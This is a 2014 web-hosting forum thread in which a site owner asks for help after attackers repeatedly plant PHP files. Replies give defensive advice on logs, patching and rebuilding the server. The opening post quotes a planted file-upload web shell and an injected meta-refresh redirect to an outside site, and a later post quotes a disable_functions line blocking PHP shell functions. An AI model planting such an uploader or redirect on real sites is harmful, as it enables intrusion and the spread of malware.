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media Posted January 28, 2014 Posted January 28, 2014 My Site Being Hacked Nothing To Do With IPB - Just need recommendation Please Somehow, hacker is uploading a upload file either calls it sources.php or up.php or something else Anyway, the content of the file is this <?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } else { echo '<b>Upload GAGAL !!!</b><br><br>'; } } ?> Add this redirects to the scripts http://free1ww1.blogspot.com/ adds this line to scripts... <meta content="0;URL=http://free1ww1.blogspot.com/" http-equiv="refresh" /> and I found these info on the internet:http://www.simplyraydeen.com/general-technical/372-hacked-godaddy-or-joomla-component?catid=31%3Ageneralhttp://www.jonnypayne.com/index.php/computer/when-they-hacked-my-website/http://0xa.li/some-interesting-malicious-php-files/http://www.webhostingtalk.com/showthread.php?t=1105350 ANYONE KNOWS WHAT TO PATCH OR DO ABOUT THIS THANK YOU FOR YOUR HELP.... P.S. I SCANED THE SERVER NO MORE FILE and changed the password e.t.c.
Birched Posted January 28, 2014 Posted January 28, 2014 Have you searched your access logs for these filenames (e.g. up.php, sources.php) to see where they are coming from? As a first line of defense, and to give yourself a little breathing room, it might make sense to block the IP addresses (or range) where these files are originating in your firewall. Keep a record of the filenames, the dates and times they were created, any changes you see, etc, and search your logs for clues using this time and date and filename information to narrow things down. That may give you a clue as to how they are getting in. That's somewhere to start, anyway. Perhaps someone with more expertise will chime in with other ideas. I don't know whether there is a 'harden your IPB board' guide here.
chownuk Posted January 28, 2014 Posted January 28, 2014 Firstly, alert your hosts. Are you on a shared server or VPS? Read the comments section in below Topic. '?do=embed' frameborder='0' data-embedContent>>
rct2·com Posted January 28, 2014 Posted January 28, 2014 What did you use to scan your server? These things normally get uploaded when there are vulnerabilities in scripts on your server. You say that this is nothing to do with IPB, have you made sure that any other scripts that you use are fully patched?
media Posted January 28, 2014 Author Posted January 28, 2014 What did you use to scan your server? These things normally get uploaded when there are vulnerabilities in scripts on your server. You say that this is nothing to do with IPB, have you made sure that any other scripts that you use are fully patched? Well, I have no idea, I am looking at access log but I do not know what to look for... :)
media Posted January 28, 2014 Author Posted January 28, 2014 Firstly, alert your hosts. Are you on a shared server or VPS? Read the comments section in below Topic. '?do=embed' frameborder='0' data-embedContent>> I guess my host little rookie... They are asking me to lead them lol! Well here what they did so far: They did a deep scan for root kit or any other malicious file: result: root kit: NONE they found couple upload php files (first post has the code in those files)... They removed those... and they decided to install mod secure also according to my host: They tighten the server php by disabling/blockin this functions in php: (not sure what that means, I believe show_source already blocked before) disable_functions="exec,passthru,shell_exec,system,proc_open,curl_multi_exec,show_source" Also they thinking about adding CSF firewall, So, so far that's all I have... please let me know if you think any other suggestion.... Thanks
IveLeft... Posted January 28, 2014 Posted January 28, 2014 I guess my host little rookie... They are asking me to lead them lol! Well here what they did so far: They did a deep scan for root kit or any other malicious file: result: root kit: NONE they found couple upload php files (first post has the code in those files)... They removed those... and they decided to install mod secure also according to my host: They tighten the server php by disabling/blockin this functions in php: (not sure what that means, I believe show_source already blocked before) disable_functions="exec,passthru,shell_exec,system,proc_open,curl_multi_exec,show_source" Also they thinking about adding CSF firewall, So, so far that's all I have... please let me know if you think any other suggestion.... Thanks :ohmy: I'd suggest a better Host !
Grumpy Posted January 29, 2014 Posted January 29, 2014 The ONLY sure way of being safe after being hacked is to nuke it. Sorry. Long read, but you'll want to read this. http://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server . By the looks of the file that was added, it appears to be an upload script that doesn't check for security. So, it basically allows ambiguous files to be uploaded and likely then execute through something like apache if they uploaded a php file. It'll be hard to tell what were added.
Aussie Cable Posted January 31, 2014 Posted January 31, 2014 Sounds like a base64 php injection script. Have you updated your install with all recent patches? If not, then I suggest you backup you DB and re-upload a fresh copy of IPB and apps. If you run into any issue's, submit a support ticket.
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